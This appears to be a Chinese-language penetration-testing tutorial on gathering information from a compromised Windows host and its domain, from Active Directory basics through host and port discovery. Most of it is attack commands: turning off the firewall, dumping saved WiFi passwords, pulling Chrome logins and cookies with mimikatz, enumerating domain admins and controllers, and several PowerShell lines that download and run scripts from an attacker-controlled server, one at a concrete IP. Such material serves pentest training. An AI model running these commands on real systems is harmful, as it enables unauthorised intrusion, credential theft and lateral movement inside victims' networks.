Windows 主机信息收集
Windows 主机信息收集
成殇Orz1
0x00 什么是内网渗透
在拿到webshell的时候,想办法获得系统信息拿到系统权限,进入到网络系统内部之后收集内部网络的各种 信息,获取内部网络有价值的人员、资产信息
-
内网基础环境判断
IP、网关、DNS、是否能连通外网、网络连接及端口、本机host文件、机器的代理、是否在域内,域名是什么
-
分析机器所处位置区域
DMZ区、办公区、生产区、核心DB等等
-
分析机器的角色
普通WEB服务器、开发服务器、文件服务器、代理服务器、DNS服务器、数据存储服务器等等
-
分析进出口流量是否能连通
协议的判断:常见的TCP、DNS、HTTP、ICMP等协议 端口判断:外网vps做监听,内网机器测试常见端口,常见能出去的端口有80,8080,443,53,110,123 等。
0x01 常见名词解释
1. 工作组
工作组Work Group是最常见最简单最普通的资源管理模式,就是将不同的电脑按功能分别列入不同的组中,以方便管理。
比如在一个网络内,可能有成百上千台工作电脑,如果这些电脑不进行分组,都列在“网上邻居”内,可想而知会有多么乱。
为了解决这一问题,Windows 9x/NT/2000 引用了“工作组”这个概念,比如一所高校,会分为诸如数学系、中文系之类的,然后数学系的电脑全都列入数学系的工作组中,中文系的电脑全部都列入到中文系的工作组中……如果你要访问某个系别的资源,就在“网上邻居”里找到那个系的工作组名,双击就可以看到那个系别的电脑了。
在工作组中所有的计算机都是平等的,没有管理与被管理之分,因此工作组网络也称为对等网络。
- 默认情况下所有计算机都处在名为WORKGROUP的工作组中
- 工作组资源管理模式适合于网络中计算机不多,对管理要求不严格的情况。
- 它的建立步骤简单,使用起来也很好上手。大部分中小公司都采取工作组的方式对资源进行权限分配和目录共 享。
- 相同组中的不同用户通过对方主机的用户名和密码可以查看对方共享的文件夹,默认共享的是 Users 目录。
- 不同组的不同用户通过对方主机的用户名和密码也可以查看对方共享的文件夹。
- 所以工作组并不存在真正的集中管理作用,工作组里的所有计算机都是对等的,也就是没有服务器和客户机之分的。
2. 域
域 Domain
可以简单的理解成工作组的升级版,如果说工作组是“免费旅店”那么域就是“星级宾馆”;工作组可以随便进进出出,而域则有严格的控制。
在“域”模式下,至少有一台服务器负责每一台联入网络的电脑和用户的验证工作,相当于一个单位的门卫一样,称为域控制器。
域控制器 Domain Controller
简写为 DC,域控制器中包含了由这个域的账户、密码、属于这个域的计算机等信息构成的数据库。
当电脑连入网络时,域控制器首先要鉴别这台电脑是否是属于这个域的,用户使用的登录账号是否存在、密码是否正确。如果以上信息有一样不正确的,那么域控制器就会拒绝这个用户从这台电脑登录。不能登录,用户就不能访问服务器上有权限保护的资源,这样就在一定程度上保护了网络上的资源。
正是因为域控起到了一个身份验证的作用,因此站在渗透的角度来说,拿下域控是至关重要的。拿下了域控,就相当于拿到了整个域内所有计算机的账号和密码。
而要想实现域环境,就必须要计算机中安装活动目录,也可以说如果在内网中的一台计算机上安装了活动目录,那它就变成了域控制器。在域中除了域控制器还有成员服务器、客户机、独立服务器。
父域和子域
顾名思义,在一个域下新建了一个域便称其为子域。形象的来说,一个部门一个域,那个如果这个部门还有分部,那每个分部就可被称为子域,这个大的部门便称为父域。每个域中都有独立的安全策略。
域树
域树由多个域组成,这些域共享同一表结构和配置,形成一个连续的名字空间。
树中的域通过信任关系连接起来,活动目录包含一个或多个域树。域树中的域层次越深级别越低,一个“.”代表一个层次,如域child.Microsoft.com 就比 Microsoft.com这个域级别低,因为它有两个层次关系,而Microsoft.com只有一个层次。
而域Grandchild.Child.Microsoft.com又比 Child.Microsoft.com级别低,道理一样。他们都属于同一个域树。Child.Microsoft.com就属于Microsoft.com的子域。
多个域树可以组成一个域林。
域林
域林是指由一个或多个没有形成连续名字空间的域树组成,它与域树最明显的区别就在于域林之间没有形成连续的名字空间,而域树则是由一些具有连续名字空间的域组成。
但域林中的所有域树仍共享同一个表结构、配置和全局目录。域林中的所有域树通过Kerberos 信任关系建立起来,所以每个域树都知道Kerberos信任关系,不同域树可以交叉引用其他域树中的对象。域林都有根域,域林的根域是域林中创建的第一个域,域林中所有域树的根域与域林的根域建立可传递的信任关系.
比如benet.com.cn,则可以创建同属与一个林的accp.com.cn,他们就在同一个域林里.
当创建第一个域控制器的时候,就创建了第一个域(也称林根域),和第一个林。
林,是一个或多个共享公共架构和全局编录的域组成,每个域都有单独的安全策略,和与其他域的信任关系。一个单位可以有多个林。
3. 活动目录
活动目录 Active Directory ,简写为 AD,它是 Windows Server 中负责架构中大型网络环境的集中式目录管理服务,在Windows 2000 Server 开始内置于 Windows Server 产品中。
目录包含了有关各种对象,例如用户、用户组、计算机、域、组织单位(OU)以及安全策略的信息。目录存储在域控上,并且可以被网络应用程序或者服务所访问。
活动目录就相当于内网中各种资源的一个目录,通过活动目录用户可以快速定位到这些资源的位置。
4. DMZ
DMZ demilitarized zone ,中文名为“隔离区”,或称“非军事化区”。它是为了解决安装防火墙后外部网络的访问用户不能访问内部网络服务器的问题,从而设立的一个非安全系统与安全系统之间的缓冲区。
DMZ 区可以理解为一个不同于外网或内网的特殊网络区域,DMZ 内通常放置一些不含机密信息的公用服务器,比如 WEB 服务器、E-Mail 服务器、FTP 服务器等。这样来自外网的访问者只可以访问 DMZ 中的服务,但不可能接触到存放在内网中的信息等,即使 DMZ 中服务器受到破坏,也不会对内网中的信息造成影响。
5. 域内的各种权限
首先要理解一下组的概念,在组里包含了很多用户,当管理员想要给某个用户分配权限时,只需要将用户加入到对应权限的组里就行,从而提高了管理效率,常见的组有:域本地组、全局组、通用组。
域本地组
成员范围:所有的域;使用范围:自己所在的域
全局组
成员范围:自己所在的域;使用范围:所有的域
通用组
成员范围:所有的域;使用范围:所有的域
A-G-DL-P 策略
A-G-DL-P 策略是将用户账号添加到全局组中,将全局组添加到域本地组中,然后为域本地组分配资源权限。
- A 表示用户账号
- G 表示全局组
- U 表示通用组
- DL 表示域本地组
- P 表示资源权限
0x02 工作组信息收集
1. 用户信息收集
#查看本机用户列表
net user
#获取本地管理员信息
net localgroup Administrators
#查看当前在线用户和会话
quser
query user
query user || qwinsta
#查当前用户在目标系统中的具体权限
whoami /all
#查看当前权限
whoami && whoami /priv
#查当前机器中所有的组名,了解不同组的职能,如
IT,HR,ADMIN,FILE
net localgroup
2. 系统信息收集
#查询网络配置信息。进行IP地址段信息收集
ipconfig /all
#查询操作系统及软件信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # 英文系统
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" #中文系统
#查看当前系统版本
wmic OS get Caption,CSDVersion,OSArchitecture,Version
#查看系统体系结构
echo %PROCESSOR_ARCHITECTURE%
#查询本机服务信息
wmic service list brief
#查看安装的软件的版本、路径等
wmic product get name, version
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version"
#查询进程信息
tasklist
wmic process list brief
#查看启动程序信息
wmic startup get command,caption
#查看计划任务
at(before win10)
schtasks /query /fo LIST /v(win10)
#查看主机开机时间
net statistics workstation
#列出或断开本地计算机与所连接的客户端的对话
net session
#查看远程连接信息
cmdkey /l
#查看补丁列表
systeminfo | findstr KB
#查看补丁的名称、描述、ID、安装时间等
wmic qfe get Caption,Description,HotFixID,InstalledOn
#查看杀软
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName/Format:List
3. 网络信息收集
#查看本机所有的tcp,udp端口连接及其对应的pid
netstat -ano
#查看本机所有的tcp,udp端口连接,pid及其对应的发起程序
netstat -anob
#查看路由表和arp缓存
route print
arp -a
#查看本机共享列表和可访问的域共享列表 (445端口)
net share
wmic share get name,path,status
#磁盘映射
net use k: \\192.168.1.10\c$
4. 防火墙信息收集
#关闭防火墙(Windows Server 2003 以前的版本)
netsh firewall set opmode disable
#关闭防火墙(Windows Server 2003 以后的版本)
netsh advfirewall set allprofiles state off
#查看防火墙配置(netsh命令也可以用作端口转发)
netsh firewall show config
#查看配置规则
netsh advfirewall firewall show rule name=all
5. 代理信息收集
REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v
ProxyServer
#通过pac文件自动代理情况
REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v
AutoConfigURL
6. 其他信息收集
#wifi密码
netsh wlan show profile
netsh wlan show profile name="EEFUNG" key=clear
#回收站内容获取
FOR /f "skip=1 tokens=1,2 delims= " %c in ('wmic useraccount get name^,sid') do dir /a /b
C:\$Recycle.Bin\%d\ ^>%c.txt
cd C:\$Recycle.Bin\S-1-5-21-3845785564-1101086751-683477353-1001\
#$I 开头的文件保存的是路径信息
#$R 开头的文件保存的是文件内容
#Chrome历史记录和Cookie获取
%localappdata%\google\chrome\USERDA~1\default\LOGIND~1
%localappdata%\google\chrome\USERDA~1\default\cookies
#chrome的用户信息,保存在本地文件为sqlite 数据库格式
mimikatz.exe privilege::debug log "dpapi::chrome
/in:%localappdata%\google\chrome\USERDA~1\default\LOGIND~1" exit
mimikatz.exe privilege::debug log "dpapi::chrome
/in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
powershell脚本
Nishang-Gather-Get-Information.ps1
https://github.com/samratashok/nishang/blob/master/Gather/Get-Information.ps1
脚本上传至VPS,开启HTTP让目标机器执行命令访问请求脚本
powershell iex(new-object net.webclient).downloadstring('http://ip:port/GetInformation.ps1');Get-Information
metasploit
#scraper
Meterpreter > run scraper
/root/.msf4/logs/scripts/scraper
#winenum
Meterpreter > run winenum
/root/.msf4/logs/scripts/winenum
0x03 域内信息收集
1. Net组件
#查询域
net view /domain
#查询域内的所有计算机
net view /domain:de1ay
#查询域内所有用户组(Enterprise Admins组权限最大)
net group /domain
#查看域管理员的用户组
net group "domain admins" /domain
#查询所有域成员计算机列表
net group "domain computers" /domain
#查询域系统管理员用户组
net group "Enterprise admins" /domain
#查看域控制器
net group "domain controllers" /domain
#对比查看"工作站域DNS名称(域名)"和"登录域()域控制器"的信息是否相匹配
net config workstation
#查看域内所有账号
net user /domain
#查询指定用户的详情信息
net user xxx /domain
#查看时间可以找到域控
net time /domain
#查看域密码策略
net accounts /domain
#查看当前登录域
net config workstation
#登录本机的域管理员
net localgroup administrators /domain
2. dsquery
#查看当前域内的所有机器,dsquery工具一般在域控上才有,不过你可以上传一个dsquery
dsquery computer
#查看当前域中的所有账户名
dsquery user
#查看当前域内的所有组名
dsquery group
#查看到当前域所在的网段,结合nbtscan使用
dsquery subnet
#查看域内所有的web站点
dsquery site
#查看当前域中的服务器(一般结果只有域控的主机名)
dsquery server
#查询前240个以admin开头的用户名
dsquery user domainroot -name admin* -limit 240
3. 定位域控
#ipconfig
ipconfig /all
#查询dns解析记录
nslookup -type=all _ldap._tcp.dc._msdcs.de1ay.com
#spn扫描
#在SPN扫描结果中可以通过如下内容,来进行域控的定位。
setspn -q */*
setspn -T de1ay.com -q */*
CN=DC,OU=Domain Controllers,DC=de1ay,DC=com
#net group
net group "domain controllers" /domain
端口识别
端口:389
服务:LDAP、ILS
说明:轻型目录访问协议和NetMeeting Internet Locator Server共用这一端口。
端口:53
服务:Domain Name Server(DNS)
说明:53端口为DNS(Domain Name Server,域名服务器)服务器所开放,主要用于域名解析,DNS服务在NT 系统中使用的最为广泛。通过DNS服务器可以实现域名与IP地址之间的转换,只要记住域名就可以快速访问网站。
4. Other
#查看域内信任关系
nltest /domain_trusts
#查看域控制器的机器名
nltest /DCLIST:de1ay
#查看域内邮件服务器
nslookup -q=mx de1ay.com
#查看域内DNS服务器
nslookup -q=ns de1ay.com
0x04 内网存活探测
1. Netbios协议探测
IBM公司开发,主要用于数十台计算机的小型局域网。该协议是一种在局域网上的程序可以使用的应用程序编程接 口(API),为程序提供了请求低级服务的同一的命令集,作用是为了给局域网提供网络以及其他特殊功能。系统 可以利用WINS服务、广播及Lmhost文件等多种模式将NetBIOS名-——特指基于NETBIOS协议获得计算机名 称——解析为相应IP地址,实现信息通讯,所以在局域网内部使用NetBIOS协议可以方便地实现消息通信及资源 的共享
nmap扫描
nmap -sU -T4 --script nbstat.nse -p137 10.10.10.0/24
msf扫描
msf > use auxiliary/scanner/netbios/nbname
Nbtscan
项目地址:http://www.unixwiz.net/tools/nbtscan.html
使用nbtscan扫描本地或远程TCP/IP网络上开放的NetBIOS名称服务器 输出的结果第一列为IP地址,第二列为机器名和所在域的名称,第三列即最后一列为及其所开启的服务的列表
Windows
nbtscan.exe –m 10.10.10.0/24
nbtstat –n
Lunix
nbtscan -r 10.10.10.0/24
2. ICMP协议探测
ICMP是TCP/IP协议族的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否 可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要 的作用。
nmap扫描
nmap -sn -PE -T4 192.168.0.0/24
# -sn: Ping Scan - disable port scan
# -PE: ICMP echo
3. UDP协议探测
UDP是一种无连接的协议,在第四层-传输层,处于IP协议的上一层。UDP有不提供 数据包分组、组装和不能对数据包进行排序的缺点,也就是说,当报文发送之后,是无法得知其是否安全完整到达的。
nmap扫描
nmap -sU –T4 -sV --max-retries 1 192.168.1.100 -p 500
msf扫描
msf > use auxiliary/scanner/discovery/udp_probe
msf > use auxiliary/scanner/discovery/udp_sweep
4. ARP协议探测
ARP,通过解析网路层地址来找寻数据链路层地址的一个在网络协议包中极其重要的网络传输协议。根据IP地址获取 物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回 消息,以此确定目标的物理地址
nmap扫描
nmap -sn -PR 192.168.1.1/24
msf扫描
msf > use auxiliary/scanner/discovery/arp_sweep
5. SMB协议探测
msf扫描
msf > use auxiliary/scanner/smb/smb_version
6. 端口探测
MSF中的portscan模块
nmap
Nishang中的Invoke-PortScan模块 端口扫描,默认扫描常见端口,也可以用 -Port指定端口:
powershell iex(new-object net.webclient).downloadstring('http://47.104.255.11:8000/Invoke-PortScan.ps1');InvokePortScan -StartAddress 10.10.10.1 -EndAddress 10.10.10.255 -ResolveHost -ScanPort

浙公网安备 33010602011771号